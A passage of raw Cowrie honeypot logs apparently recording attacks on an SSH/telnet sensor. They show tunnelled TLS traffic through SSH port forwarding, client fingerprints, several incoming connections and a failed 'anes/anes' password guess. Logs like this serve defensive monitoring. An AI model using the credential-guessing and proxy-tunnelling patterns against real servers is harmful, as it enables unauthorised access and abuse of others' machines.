deflate\\r\\n\\r\\n_=OSh1TDczSl59fVN6aWxNeA%3D%3DmT7ynZ6c609BBz9TLah07zlFGAe9y5Mc2Utp%2F1zv6Wxj7PvlP8yvDs0n9HwCU3qqYDzBTolzBejA4XNpngagxtCxpRaxqewIO7pGAKQl%2B0qbO5LHn4ySCPxFG4EDBKsWe9ttiLOS5X8CheC6NRuBb%2B1TT9t%2FIgMc9kONHCcUg3j8Tx13lA25CvLbSaVxzfiEoJUeJDCo1cCCVVAYZNhE%2F1RFiooUhwSUTIZtSl64zoOILA%2FWpr24cFFJJWUe1XA4GpJJgGzsABTDKn9%2BHAM0RXiyU82qzD%2FKybJ68kFKJi57oe6tKJBKPSbebEYEalsP28rF2e08ipunBT8jLdOy1n0rmSPvkyHChOglMFuuBaL7OpPvmYJO8e0KcYzm93uX%2FpRPVmUdWpAZR%2B1jAe%2Bee4ViaR3meCQhsnOxWW%2BPwhhxAiC%2BXwyKxDJqcHhq3%2BkQG22e9EFAlXGwp6rvhjNxkzIk53adWmYVYW3x3WHjd%2BIREKq04XgyHIsVDpqNFI49Aqcr7bQwU76%2B9bT9He%2FjTzfEicH52dP7OBn1e92UVVBdY%2FAd85o5JJ7LfAF9UmU5EkeqbKRqfta%2Fz5BoEAO%2BFsFbU7X0iIhur%2FbrmcmZhqx2H9BD249bIyLRkVOEdM%2BVCbgkHJfZY7Kz5PyYWVMqVHPORKoZhWb56GDXC2rBnx7N0Z93X7V1Ih5bOHf7O7z9KhiYULY7pYGvokXV6HVgT9Bo4A3ldiXYPzqFiM24ymDbp6xq27eeIDy77%2BMgW3RYM4WAiDDfEPzAUTKjbHAbF8Y2ZViv5dySOB2NzIQp8U%2B3NKBob1QlT5LA5WASFMI5TQRNcydxVoqjt%2BjEfTyy7uZtBgzake4dyrZXhOvZdDbMJtma417k687FNL6Otg1BZLxB%2Fd0sCjmnnbuDCz%2F26QSI7n03xPV%2BjbMIyzTex3iMPDDbciX8pGS9s74wDRqKAloTsmXdRlXRkuLRW70nDvre1nz5f2lijiCFgl8YTzios6tRdjrBisSV3cC%2BrnV4UKPBJMEmA8h913bkBcAEZ7uR7xKIIFWZ1OJCmjrl2aNRPrxdb4pBjYfWItpiq5NH'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:09.718674Z","src_ip":"123.27.168.40","session":"32f5e7202ab4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:09.725455Z","src_ip":"123.27.168.40","session":"32f5e7202ab4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x98\\x13\\xaa\\xc5\\x91\\x84\\xf2\\x86Y\\x9a\\xa8#\\xb7H\\xc0\\xd8;[\\x97\\x8d\\x82P\\xcf\"\\x98HI\\xe4\\x08\"\\x98\\xce \\n\\xa3\\x04Sp*\\xaa;\\xe6~\\x85\\x83\\xba\\xa5\\t\\xea\\x91.\\x1e\\xeb\\xcf\\xda\\xbbY3\\x96\\xb7\\xaeo\\xdf\\xb1\\xd8\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 t\\xe4\\x18\\xd1\\x9f\\x16\\xc0\\xaa\\x96l\\xa0\\x13\\x95\\xb3c\\xdd\\xda\\xaf\\x96\\xa4\\xff\\x91\\xe5\\xa4\\rIax \\xe1\\xd1\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x98\\x13\\xaa\\xc5\\x91\\x84\\xf2\\x86Y\\x9a\\xa8#\\xb7H\\xc0\\xd8;[\\x97\\x8d\\x82P\\xcf\"\\x98HI\\xe4\\x08\"\\x98\\xce \\n\\xa3\\x04Sp*\\xaa;\\xe6~\\x85\\x83\\xba\\xa5\\t\\xea\\x91.\\x1e\\xeb\\xcf\\xda\\xbbY3\\x96\\xb7\\xaeo\\xdf\\xb1\\xd8\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 t\\xe4\\x18\\xd1\\x9f\\x16\\xc0\\xaa\\x96l\\xa0\\x13\\x95\\xb3c\\xdd\\xda\\xaf\\x96\\xa4\\xff\\x91\\xe5\\xa4\\rIax \\xe1\\xd1\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:09.727862Z","src_ip":"123.27.168.40","session":"32f5e7202ab4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:09.960376Z","session":"32f5e7202ab4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:10.187431Z","src_ip":"123.27.168.40","session":"32f5e7202ab4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\xa7\\xc2d\\xcf\\x8d\\xc7a&\\xedd\\x80\\xc7\\x8b\\xb8i\\xa8\\xca\\xe6\\xf3\\xfa\\xff\\x9d\"\\x96\\x95\\xc0\\xed\\x7fW\\x86\\x8e N\\xf8\\xa1\\x9f\\xba\\xa4\\xb5d\\xfd\\xe3\\xf1\\x87\\xf6J\\xa9\\xe1KRv\\xcb\\x12\\xa9d\\x13\\xa2\\x1a\\xfbVH<e\\x88\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x196S\\x84\\xdd\\xbb\\xd2\\x19w\\xf9\\x1f\\xffe?\\xa60\\xd2P\\x1fL\\xac\\x96\\xf5T\\xb2\\x8e\\x17\\xc8\\xef\\x91PP\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\xa7\\xc2d\\xcf\\x8d\\xc7a&\\xedd\\x80\\xc7\\x8b\\xb8i\\xa8\\xca\\xe6\\xf3\\xfa\\xff\\x9d\"\\x96\\x95\\xc0\\xed\\x7fW\\x86\\x8e N\\xf8\\xa1\\x9f\\xba\\xa4\\xb5d\\xfd\\xe3\\xf1\\x87\\xf6J\\xa9\\xe1KRv\\xcb\\x12\\xa9d\\x13\\xa2\\x1a\\xfbVH<e\\x88\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x196S\\x84\\xdd\\xbb\\xd2\\x19w\\xf9\\x1f\\xffe?\\xa60\\xd2P\\x1fL\\xac\\x96\\xf5T\\xb2\\x8e\\x17\\xc8\\xef\\x91PP\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:10.190343Z","src_ip":"123.27.168.40","session":"32f5e7202ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:10.519071Z","src_ip":"123.27.168.40","session":"32f5e7202ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":33340,"dst_ip":"159.203.135.109","dst_port":22,"session":"66b07da97a06","protocol":"ssh","message":"New connection: 49.247.37.22:33340 (159.203.135.109:22) [session: 66b07da97a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:11.479087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:11.485129Z","src_ip":"49.247.37.22","session":"66b07da97a06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:11.684500Z","src_ip":"49.247.37.22","session":"66b07da97a06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anes","password":"anes","message":"login attempt [anes/anes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:12.520108Z","src_ip":"49.247.37.22","session":"66b07da97a06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:13.722710Z","src_ip":"49.247.37.22","session":"66b07da97a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44682,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0fc04273bc1","protocol":"telnet","message":"New connection: 128.199.8.54:44682 (159.203.135.109:23) [session: c0fc04273bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:18.598512Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":51883,"dst_ip":"10.17.0.5","dst_port":22,"session":"6755f6a39ed0","protocol":"ssh","message":"New connection: 113.164.152.20:51883 (10.17.0.5:22) [session: 6755f6a39ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:19.117898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:19.120687Z","src_ip":"113.164.152.20","session":"6755f6a39ed0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":55512,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fcde888f0be","protocol":"ssh","message":"New connection: 23.175.50.51:55512 (10.17.0.5:22) [session: 0fcde888f0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:19.258144Z"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:19.399466Z","src_ip":"113.164.152.20","session":"6755f6a39ed0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:37:19.892956Z","src_ip":"23.175.50.51","session":"0fcde888f0be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 